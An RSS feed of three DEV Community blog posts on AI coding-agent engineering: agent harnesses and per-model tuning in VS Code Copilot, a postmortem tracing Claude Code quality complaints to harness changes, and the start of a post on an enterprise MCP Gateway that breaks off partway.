<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Anil Kurmi</title>
    <description>The latest articles on DEV Community by Anil Kurmi (@practiceoverflow).</description>
    <link>https://dev.to/practiceoverflow</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F211299%2Fcd2deced-65e2-4950-a498-950071064060.jpg</url>
      <title>DEV Community: Anil Kurmi</title>
      <link>https://dev.to/practiceoverflow</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/practiceoverflow"/>
    <language>en</language>
    <item>
      <title>The Agent Harness Is the Real Product. The Model Is Just the Engine.</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 10:20:34 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/the-agent-harness-is-the-real-product-the-model-is-just-the-engine-2npm</link>
      <guid>https://dev.to/practiceoverflow/the-agent-harness-is-the-real-product-the-model-is-just-the-engine-2npm</guid>
      <description>&lt;p&gt;On May 15, the VS Code team published a blog post that quietly reframed the last two years of "best coding model" arguments. Buried inside it is a scatter plot from their internal benchmark, VSC-Bench, that I have been thinking about all week.&lt;/p&gt;

&lt;p&gt;The chart compares eight model-effort configurations across forty containerized runs. The line you expect goes up and to the right: more reasoning effort, more tokens, more tasks resolved. It mostly does. Until you get to &lt;code&gt;xhigh&lt;/code&gt;. At &lt;code&gt;xhigh&lt;/code&gt;, the model burns more tokens than &lt;code&gt;high&lt;/code&gt; and resolves &lt;em&gt;fewer&lt;/em&gt; tasks. The caption is dry as gravel: &lt;em&gt;"may indicate that it is past the useful effort sweet spot where extra thinking no longer converts into better outcomes."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Read that twice. The biggest, hungriest, most expensive setting is worse. Not slower. Worse. And the only reason anyone knows is because someone built a harness that could measure it.&lt;/p&gt;

&lt;p&gt;That is the story of the week. The model is the engine. The harness is the car. And this week, three different teams shipped pieces of the car.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 5-Minute Skim
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What changed this week:&lt;/strong&gt; VS Code documented its Copilot agent harness in detail, shipped Agents Window to Stable in 1.120, Visual Studio added Agent Skills, and Martin Fowler published a framework that tells you why none of this is enough.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Default recommendation:&lt;/strong&gt; Stop chasing model upgrades in isolation. Tune the harness — context assembly, tool exposure, system prompts — per model, and measure with a closed-loop eval. Treat skills (&lt;code&gt;SKILL.md&lt;/code&gt; files) as a first-class context-budget tool.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;When it breaks:&lt;/strong&gt; The "behaviour harness" is still unsolved. Your linters and ArchUnit will catch dead code and layering violations. Nothing catches the AI writing a 300-line function that &lt;em&gt;works&lt;/em&gt; but that no senior on your team would ever ship.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key trade-off:&lt;/strong&gt; More reasoning effort is not free, and beyond a point it actively hurts. Spend the budget on harness engineering instead.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Visual Architecture: The Harness Is the Loop
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7sqfe0thvpz7yeuqqqsb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7sqfe0thvpz7yeuqqqsb.png" alt="Diagram: Visual Architecture: The Harness Is the Loop" width="800" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The model is one node. The harness is the cycle wrapped around it, plus the eval loop that grades the cycle.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does this conversation matter now?
&lt;/h2&gt;

&lt;p&gt;For most of 2024 and 2025, the discourse on coding agents was a model-leaderboard arms race. Sonnet vs. GPT vs. Gemini. SWE-bench scores. Twitter threads with column charts.&lt;/p&gt;

&lt;p&gt;Then May 15 happened. The VS Code engineering team published "Agent Harnesses in GitHub Copilot for VS Code" and Julia Kasper wrote one of the cleanest framings I have read all year: &lt;em&gt;"The model gets better at filling in the blanks, but the harness defines what the blanks are."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Two days earlier, VS Code 1.120 pushed the Agents Window to Stable and shipped two settings that look small until you read them: &lt;code&gt;chat.tools.compressOutput.enabled&lt;/code&gt;, which trims terminal output before it hits the model, and &lt;code&gt;chat.tools.riskAssessment.enabled&lt;/code&gt;, which tags commands as Safe / Caution / Review carefully. Neither is a model improvement. Both change what the agent does. Same day, Visual Studio's DevBlog announced Agent Skills, built on the agentskills.io spec. And Martin Fowler published "Harness engineering for coding agent users," which gives the whole movement a vocabulary.&lt;/p&gt;

&lt;p&gt;Four pieces, one week. The harness has graduated from implementation detail to product surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is actually inside a harness?
&lt;/h2&gt;

&lt;p&gt;Strip away the marketing and you have three responsibilities and one loop.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;context assembler&lt;/strong&gt; decides what goes into the prompt. Not just the user message — the open file, recent edits, terminal output, prior tool results, pinned memory, the relevant chunks of &lt;code&gt;AGENTS.md&lt;/code&gt;. This is the layer that gets blamed when the model "forgets" what you told it three turns ago. It rarely deserves the blame. Context windows are finite, and someone had to choose what to drop.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;tool exposure layer&lt;/strong&gt; turns the things the agent can do into JSON schemas the model can call. This is where the per-model divergence lives, and it is more brutal than I expected. Claude models in Copilot use a tool called &lt;code&gt;replace_string_in_file&lt;/code&gt;. GPT models use &lt;code&gt;apply_patch&lt;/code&gt;. Gemini, in Kasper's words, &lt;em&gt;"needs reminders to use tool-calling instead of narrating it, and breaks on orphaned tool calls in history."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Read that again. Gemini will sometimes &lt;em&gt;describe&lt;/em&gt; what it is about to do instead of doing it. The harness has to detect this and nudge it back. If a previous tool call is left dangling because of a network hiccup, Gemini's run dies. It is what the model is. The harness has to know.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;tool executor&lt;/strong&gt; validates arguments, spawns processes, captures output, and decides what to send back to the model. This is where output compression lives. A 12,000-line &lt;code&gt;npm install&lt;/code&gt; log is context poison. The 1.120 setting collapses it to a banner like "lockfile diff omitted" plus the final summary, and the model proceeds without choking on yarn progress bars.&lt;/p&gt;

&lt;p&gt;Wrapped around all three is the &lt;strong&gt;agent loop&lt;/strong&gt;: think, act, observe, repeat. VS Code calls a single LLM invocation a &lt;em&gt;round&lt;/em&gt;, a user-facing exchange a &lt;em&gt;turn&lt;/em&gt;, and the whole conversation a &lt;em&gt;run&lt;/em&gt;. Tool-call limits per round. Context-window summarizer. Stop hooks. None of it is the model.&lt;/p&gt;

&lt;p&gt;Claude Sonnet 4, Sonnet 4.5, and Opus each get their own system prompt. The team tunes the harness against pre-release model checkpoints &lt;em&gt;before&lt;/em&gt; the model goes public. By the time you see "Claude X.Y is now available in Copilot," somebody has spent days re-shaping the scaffolding around it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is per-model tuning real engineering, not a config flag?
&lt;/h2&gt;

&lt;p&gt;This is the part most teams underestimate.&lt;/p&gt;

&lt;p&gt;The temptation is to write one harness that takes a &lt;code&gt;model_id&lt;/code&gt; and routes the call. One context assembler. One tool registry. One prompt template with a couple of conditional blocks. It is the right starting point. It is also the wrong place to stop.&lt;/p&gt;

&lt;p&gt;The VS Code team makes the opposite call. Different system prompts per model family. Different tool sets — not just different &lt;em&gt;names&lt;/em&gt; for the same tool, but actually different tools because &lt;code&gt;apply_patch&lt;/code&gt; and &lt;code&gt;replace_string_in_file&lt;/code&gt; have different failure modes. Different reminders for Gemini. Different trim policies because some models cope better with long tool history than others.&lt;/p&gt;

&lt;p&gt;Why does this matter for the rest of us? The moment you ship a model picker, you have inherited this problem. A user clicks the dropdown from Sonnet to GPT, and your harness either gracefully retunes itself or it produces worse output than the model is capable of. Switching models without retuning the harness can &lt;em&gt;decrease&lt;/em&gt; quality. That is the unintuitive bit.&lt;/p&gt;

&lt;p&gt;Model-agnostic frameworks are useful for the first 80% of the work. The last 20% — the part your users feel — lives in the per-model glue.&lt;/p&gt;

&lt;h2&gt;
  
  
  VSC-Bench: when more thinking hurts
&lt;/h2&gt;

&lt;p&gt;Back to the chart that started this post.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnop4e625wdvtrgordl84.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnop4e625wdvtrgordl84.png" alt="Diagram: VSC-Bench: when more thinking hurts" width="800" height="571"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The line goes up, then bends down at &lt;code&gt;xhigh&lt;/code&gt;. More reasoning tokens, fewer tasks resolved. The dry-as-gravel caption: "past the useful effort sweet spot."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;VSC-Bench runs forty tasks across eight model-effort configurations inside containerized workspaces. Each container launches a real VS Code, drives the full agent loop, and grades the result. It is offline, deterministic enough to compare runs, and free of the SWE-bench contamination problem where models may have been trained on the very issues being tested.&lt;/p&gt;

&lt;p&gt;What it shows is that effort is a curve, not a ramp. Medium to high reasoning effort buys more resolved tasks. High to xhigh costs more tokens and gives back fewer. There is a measurable ceiling. Past it, the model's "extra thinking" looks like a drunk person re-litigating the same argument with themselves.&lt;/p&gt;

&lt;p&gt;It is rare to see a vendor publish a chart that says "our most expensive setting is worse." Most release notes would have quietly removed &lt;code&gt;xhigh&lt;/code&gt; from the documentation. Without VSC-Bench, you would just be guessing.&lt;/p&gt;

&lt;p&gt;If you have not built an evaluation that drives the entire loop end-to-end on a fixed task set, you do not actually know whether your agent is getting better. You know whether your latest commit feels good in a demo.&lt;/p&gt;

&lt;h2&gt;
  
  
  The PR-level eval pipeline
&lt;/h2&gt;

&lt;p&gt;The plumbing behind VSC-Bench is, in some ways, more interesting than the benchmark itself.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn2z5hwnnzku73iuppas9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn2z5hwnnzku73iuppas9.png" alt="Diagram: The PR-level eval pipeline" width="800" height="67"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Six steps, fully automated. A regression in the harness is caught before merge, not after a Twitter thread surfaces it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A pull request to the Copilot extension is tagged &lt;code&gt;~requires-eval-assessment&lt;/code&gt;. That label triggers an Azure DevOps build, which packages the eval agent for that PR, versions it, and publishes it to an internal &lt;code&gt;vscode-evals&lt;/code&gt; npm feed. A &lt;code&gt;repository_dispatch&lt;/code&gt; event fires off to a separate repo, &lt;code&gt;github/evald&lt;/code&gt;, which pulls the freshly published eval agent and runs the benchmark. Intermediate status comments are queued back to the PR via an Azure Logic App. Final results show up as comment links — not an inline analysis body, because dumping full traces into a PR conversation would make it unreadable.&lt;/p&gt;

&lt;p&gt;A closed loop. Code change → packaged eval agent → containerized run → comment with links → human reviews. The per-PR gate means a regression in the harness is caught before it ships, not after a Twitter thread surfaces it.&lt;/p&gt;

&lt;p&gt;Most teams I talk to do not have this. They have unit tests for JSON schemas and a manual demo before the release. The gap between that and what VS Code is doing is the gap between "we shipped an LLM feature" and "we are running an agent platform."&lt;/p&gt;

&lt;h2&gt;
  
  
  Skills as a harness extension primitive
&lt;/h2&gt;

&lt;p&gt;While VS Code documented the harness, Visual Studio shipped Agent Skills, built on the agentskills.io specification. Same week, same conceptual move: turn extensible behavior into something the harness can reason about.&lt;/p&gt;

&lt;p&gt;A skill is a directory containing a &lt;code&gt;SKILL.md&lt;/code&gt; file plus optional supporting artifacts. The spec defines a clean progressive disclosure model. Roughly 100 tokens of metadata get loaded at startup so the model knows the skill exists. The full body — capped at 5,000 tokens — only loads when the model decides the skill is relevant. Referenced files load on demand.&lt;/p&gt;

&lt;p&gt;Three loading tiers. Three context-budget moves. Good harness design when nobody is allowed to be lazy with the context window.&lt;/p&gt;

&lt;p&gt;Skills also carry an &lt;code&gt;allowed-tools&lt;/code&gt; field for skill-scoped tool gating. A "release notes" skill might be allowed to run &lt;code&gt;git log&lt;/code&gt; and write Markdown, but not &lt;code&gt;kubectl&lt;/code&gt;. A security primitive that lives in the harness, not the model.&lt;/p&gt;

&lt;p&gt;Custom instructions are always on — your team's coding style, the framework you use. Skills are dynamically activated per task. Conflating them is what makes prompts bloated and agents confused.&lt;/p&gt;

&lt;p&gt;Skills and MCP also fit together cleanly. The skill describes &lt;em&gt;how&lt;/em&gt; to handle a task. MCP provides the &lt;em&gt;capability&lt;/em&gt; to execute. The skill tells the model when and why to reach for the MCP tool — a handoff doing more work than it gets credit for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The unsolved problem: behaviour
&lt;/h2&gt;

&lt;p&gt;So the harness is winning. Right? Not quite.&lt;/p&gt;

&lt;p&gt;Martin Fowler's article this week introduces a vocabulary I have already started borrowing in design reviews. He splits harness controls into &lt;em&gt;guides&lt;/em&gt; (anticipatory: AGENTS.md, skills, scaffolding scripts) and &lt;em&gt;sensors&lt;/em&gt; (observational: linters, type-checkers, AI review agents). And he splits both into &lt;em&gt;computational&lt;/em&gt; — deterministic, fast, cheap — and &lt;em&gt;inferential&lt;/em&gt; — semantic, slow, expensive.&lt;/p&gt;

&lt;p&gt;He then groups what we are trying to regulate into three buckets: maintainability, architecture fitness, and behaviour. The first two are largely solved. Linters, formatters, ArchUnit, fitness functions — twenty years of accumulated tooling that translates cleanly into harness sensors.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrj538zbsftlld0342i3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrj538zbsftlld0342i3.png" alt="Diagram: The unsolved problem: behaviour" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fowler's framework. Two of three buckets have twenty years of tooling. The third — does the code do the right thing for the user? — still needs a senior engineer in the loop.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Behaviour is the problem. Does the code do the right thing for the user? Fowler's honest answer is that we are nowhere close. Generated tests &lt;em&gt;"put too much faith into AI-generated tests, that's not good enough yet."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The deeper problem is the one he names with rare bluntness: &lt;em&gt;"A coding agent has none of this: no social accountability, no aesthetic disgust at a 300-line function, no intuition that 'we don't do it that way.'"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Sit with that. The implicit harness on a senior engineer is decades of taste, the discomfort of writing something you would be embarrassed to show in a review, the awareness that your name is on the commit. None of it is in &lt;code&gt;SKILL.md&lt;/code&gt;. None of it shows up in a linter. The xhigh effort setting will not produce it either — the VSC-Bench chart suggests the opposite, that more thinking past a point produces &lt;em&gt;worse&lt;/em&gt; judgment.&lt;/p&gt;

&lt;p&gt;The behaviour harness is the open frontier. Every team I see succeeding with coding agents has a human in the loop doing the aesthetic-disgust work. The harness has not replaced that human. It has made the human's leverage 5–10x what it was.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you should do next
&lt;/h2&gt;

&lt;p&gt;A few things that fall out of the week's reading:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stop debating model X vs. model Y in isolation.&lt;/strong&gt; Pick the model your harness is best tuned for. If you cannot tune the harness, pick the harness, and the model will follow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Measure the loop, not the response.&lt;/strong&gt; If you ship anything agentic, you need a VSC-Bench equivalent. Containerized runs, fixed task set, end-to-end agent loop, gated by your PR pipeline. Even a tiny version beats nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat context-budget as a first-class concern.&lt;/strong&gt; Compression, summarization, progressive disclosure via skills. The 5,000-token cap on a &lt;code&gt;SKILL.md&lt;/code&gt; body is not arbitrary — it is the spec saying "respect the budget."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adopt the per-model tuning mindset.&lt;/strong&gt; Even if you route to a single provider today, write your harness so per-model system prompts and tool sets are easy to swap in.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Be honest about the behaviour gap.&lt;/strong&gt; Your agent will write code that looks fine and is subtly wrong in ways your linters cannot catch. Build review rituals that assume it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The quietly radical line in the VS Code post is the one that does not announce itself. Different models get different system prompts, different tools, different reminders. Somebody, every week, is rewriting little pieces of the wrapper while the model APIs sit still.&lt;/p&gt;

&lt;p&gt;That is where the work is now. The engine is somebody else's problem. The car is yours.&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>llm</category>
      <category>vscode</category>
    </item>
    <item>
      <title>Claude Code didn't get worse. The harness did. And that ends one of the most common AI complaints of 2026.</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 09:52:39 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/claude-code-didnt-get-worse-the-harness-did-and-that-ends-one-of-the-most-common-ai-complaints-od5</link>
      <guid>https://dev.to/practiceoverflow/claude-code-didnt-get-worse-the-harness-did-and-that-ends-one-of-the-most-common-ai-complaints-od5</guid>
      <description>&lt;p&gt;For two months, the same complaint kept showing up on every developer forum I read: &lt;em&gt;Claude Code feels worse.&lt;/em&gt; Sometimes worded politely, sometimes not. The vibe was unanimous enough that I almost started believing it on reputation alone.&lt;/p&gt;

&lt;p&gt;Then on April 23, Anthropic published &lt;a href="https://www.anthropic.com/engineering/april-23-postmortem" rel="noopener noreferrer"&gt;a postmortem&lt;/a&gt; that I think ends this whole class of complaint as a useful conversation. Read it. Even if you don't ship anything with Claude. Especially then.&lt;/p&gt;

&lt;p&gt;Here's the position I'll defend: &lt;strong&gt;"the model got worse" is no longer a credible developer complaint without evidence.&lt;/strong&gt; The Anthropic postmortem is proof that the user experience of an LLM product can degrade severely without anyone touching the weights. From now on, the responsible reply to "Claude feels worse this week" is &lt;em&gt;show me the harness diff, not the model card&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually broke
&lt;/h2&gt;

&lt;p&gt;The thing that should make every AI product engineer sit up: none of the three regressions were model weights. They were all in the layer most teams treat as boring infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regression 1 — reasoning depth got quietly downgraded.&lt;/strong&gt; On March 4, Anthropic moved the default reasoning effort from &lt;code&gt;high&lt;/code&gt; to &lt;code&gt;medium&lt;/code&gt; to cut latency. Users reported lower intelligence. The complaints were real. The model was the same. The default wasn't. They reverted on April 7.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regression 2 — a caching bug ate prior reasoning.&lt;/strong&gt; On March 26, an intended one-time clearing of old thinking in stale sessions was applied &lt;em&gt;repeatedly&lt;/em&gt;. So context kept getting amputated mid-conversation. The model felt forgetful because it actually was forgetting. Fixed April 10.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regression 3 — a brevity instruction tanked coding output.&lt;/strong&gt; On April 16, a strict length nudge in the system prompt went out. It looked harmless. It wasn't. Anthropic's own expanded evals showed measurable coding quality drops. Reverted April 20.&lt;/p&gt;

&lt;p&gt;The whole stack was clean again by April 20 in v2.1.116. &lt;a href="https://www.infoq.com/news/2026/05/anthropic-claude-code-postmortem/" rel="noopener noreferrer"&gt;InfoQ's writeup&lt;/a&gt; is a useful secondary read, but the original is better because it gives you the timelines.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is the most important engineering document of 2026 (so far)
&lt;/h2&gt;

&lt;p&gt;I don't say that lightly. Three reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One: it kills the lazy mental model.&lt;/strong&gt; Most teams I talk to debug AI features the way they debug a database query — assume one thing changed, find that one thing. Anthropic's incident shows the product layer is now a &lt;em&gt;distributed system&lt;/em&gt; with its own failure modes: defaults, caches, prompts, all moving independently, on different timelines, affecting different traffic slices. You can't reason about it like a single component anymore.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two: it sets a transparency precedent that other labs now have to match.&lt;/strong&gt; Once one major lab publishes timelines, root causes, eval deltas, and reversion dates for a quality regression, the others can't keep claiming "we don't comment on user feedback." The bar moved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three: it implies that most teams shipping LLM products lack the reliability tests they need.&lt;/strong&gt; If three independent changes can pass review and ship without anyone catching the cumulative quality cost, that's not an Anthropic problem. That's a &lt;em&gt;we as an industry haven't figured out evals for harness changes yet&lt;/em&gt; problem. I would bet most teams reading this have a CI that runs unit tests on prompts approximately never.&lt;/p&gt;

&lt;h2&gt;
  
  
  The thing I want every AI product team to internalize
&lt;/h2&gt;

&lt;p&gt;Your model isn't your system. Your &lt;em&gt;harness&lt;/em&gt; is your system.&lt;/p&gt;

&lt;p&gt;The harness is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;which model variant you call by default&lt;/li&gt;
&lt;li&gt;which reasoning depth you allow by default&lt;/li&gt;
&lt;li&gt;what survives a cache hit and what doesn't&lt;/li&gt;
&lt;li&gt;what the system prompt nudges&lt;/li&gt;
&lt;li&gt;which tools are allowed in which contexts&lt;/li&gt;
&lt;li&gt;what the timeout / retry / fallback shape is&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you don't have an eval that runs when &lt;em&gt;any of those change&lt;/em&gt;, you are flying blind. The model is the input. The harness is the product. Treat changes to the harness like you treat code changes — with reviews, rollout gates, eval deltas, and a rollback playbook.&lt;/p&gt;

&lt;p&gt;I think this is going to become the new bar for what "shipped responsibly" means in AI products. The teams that take it seriously this year will be the ones that look stable in 2027. The teams that don't will spend 2027 explaining quality regressions to angry users without any real diagnostic ability.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I want pushback on
&lt;/h2&gt;

&lt;p&gt;I want to be honest about where I might be overclaiming.&lt;/p&gt;

&lt;p&gt;The skeptical read is: "Sure, this incident was harness-side. That doesn't mean &lt;em&gt;all&lt;/em&gt; user complaints are harness-side. Some models really do degrade over time — distillation cycles, RLHF drift, evaluation Goodharting." That's fair. I'm not claiming model weights are sacred. I'm claiming the burden of proof flipped.&lt;/p&gt;

&lt;p&gt;When someone says "the model got worse," the productive next question is: &lt;em&gt;can you share a prompt + output that was good last month and bad this month, with timestamps?&lt;/em&gt; If they can, you have evidence. If they can't, you're working from vibes and the harness is the more likely culprit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I want disagreement:&lt;/strong&gt; if you think the harness-vs-weights distinction is too clean — that they're entangled in ways that make the framing misleading — I want to read your argument. I'm leaning hard on the separation. Convince me it's fragile.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this changes for engineers shipping LLM features
&lt;/h2&gt;

&lt;p&gt;Concrete actions worth doing this quarter, in priority order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventory your harness surface.&lt;/strong&gt; Write down every knob: default model, default reasoning depth, system prompt, cache TTL, retry policy, tool-allow lists. You should be able to hand a new engineer one page that tells them what your product &lt;em&gt;actually&lt;/em&gt; sends to the model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build a harness eval that runs on every change to any of those knobs.&lt;/strong&gt; Doesn't have to be fancy. 50 representative prompts with golden outputs is enough to start. The point is &lt;em&gt;catching regressions before users do&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat prompt edits as production changes.&lt;/strong&gt; Reviews, rollout gates, the works. Yes, even the "just one more sentence" edits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log enough trace data to reproduce a complaint.&lt;/strong&gt; Session ID, prompt version, model variant, reasoning depth, cache state. When a user says "this got worse," you should be able to pull up the actual call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write your own postmortems publicly.&lt;/strong&gt; Anthropic raised the bar. The teams that meet it will earn trust that the silent ones can't.&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;If your team has shipped a quality regression in an LLM product and survived it, I'd love to know what you learned — especially the &lt;em&gt;first thing&lt;/em&gt; that broke. My guess is it almost always wasn't the model.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.anthropic.com/engineering/april-23-postmortem" rel="noopener noreferrer"&gt;Anthropic Engineering — April 23 postmortem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.infoq.com/news/2026/05/anthropic-claude-code-postmortem/" rel="noopener noreferrer"&gt;InfoQ — Anthropic traces Claude Code complaints to three product changes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://the-decoder.com/anthropic-confirms-claude-code-problems-and-promises-stricter-quality-controls/" rel="noopener noreferrer"&gt;The Decoder — Anthropic confirms Claude Code problems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://venturebeat.com/technology/mystery-solved-anthropic-reveals-changes-to-claudes-harnesses-and-operating-instructions-likely-caused-degradation" rel="noopener noreferrer"&gt;VentureBeat — harness and operating instructions caused degradation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>anthropic</category>
      <category>engineering</category>
      <category>devtools</category>
    </item>
    <item>
      <title>MCP just walked into enterprise SaaS like it belonged there, and most people missed it</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 09:52:15 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/mcp-just-walked-into-enterprise-saas-like-it-belonged-there-and-most-people-missed-it-1jh5</link>
      <guid>https://dev.to/practiceoverflow/mcp-just-walked-into-enterprise-saas-like-it-belonged-there-and-most-people-missed-it-1jh5</guid>
      <description>&lt;p&gt;The quietest big AI shift of 2026 happened this week, and almost nobody noticed.&lt;/p&gt;

&lt;p&gt;On May 14, Freshworks shipped &lt;a href="https://markets.businessinsider.com/news/stocks/freshworks-unveils-ai-agent-studio-in-freshservice-to-unlock-service-transformation-that-drives-compounding-business-growth-1036155747" rel="noopener noreferrer"&gt;Freddy AI Agent Studio and an MCP Gateway&lt;/a&gt; inside Freshservice. It sounds like another "we added AI" product update. It isn't. The MCP Gateway is doing the load-bearing work, and an ITSM vendor — &lt;em&gt;an ITSM vendor&lt;/em&gt; — is the one productizing it for mainstream IT operations.&lt;/p&gt;

&lt;p&gt;Here's the position I'll defend: &lt;strong&gt;MCP has already won. Most people just haven't noticed yet.&lt;/strong&gt; In two years we're going to talk about MCP the way we talk about LSP for editors — the layer everyone forgot was a fight, because one side simply won.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this launch is the bigger signal
&lt;/h2&gt;

&lt;p&gt;For a year, MCP discourse lived in developer Twitter and framework communities. Cool protocol, neat demos, occasional skepticism about whether the abstraction would survive contact with enterprise reality.&lt;/p&gt;

&lt;p&gt;Then Freshworks dropped it into IT service workflows — pulling context from Notion, Linear, ClickUp into Freshservice — and packaged it with governance language and outcome metrics (xLAs + AI Insights, in their framing). No press circuit. No "this is the future" keynote. Just shipped.&lt;/p&gt;

&lt;p&gt;This is the threshold that matters for any standard: it goes from "developer-conference favorite" to "load-bearing piece of a paid SaaS product an enterprise IT director already pays for." LSP did this. Kubernetes did this. SAML did this. Most standards that &lt;em&gt;don't&lt;/em&gt; do it die in the developer-tools layer and never become infrastructure.&lt;/p&gt;

&lt;p&gt;MCP is doing it. Right now. Without anyone declaring victory.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's actually under the hood
&lt;/h2&gt;

&lt;p&gt;Freshworks bundled three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Agent Studio&lt;/strong&gt; — no-code and prebuilt agents for service workflows. Fine. Necessary. Not the interesting part.&lt;/li&gt;
&lt;li&gt;
